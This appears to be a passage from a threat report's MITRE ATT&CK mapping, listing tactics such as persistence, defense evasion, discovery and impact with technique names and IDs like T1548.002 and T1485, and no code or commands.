Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery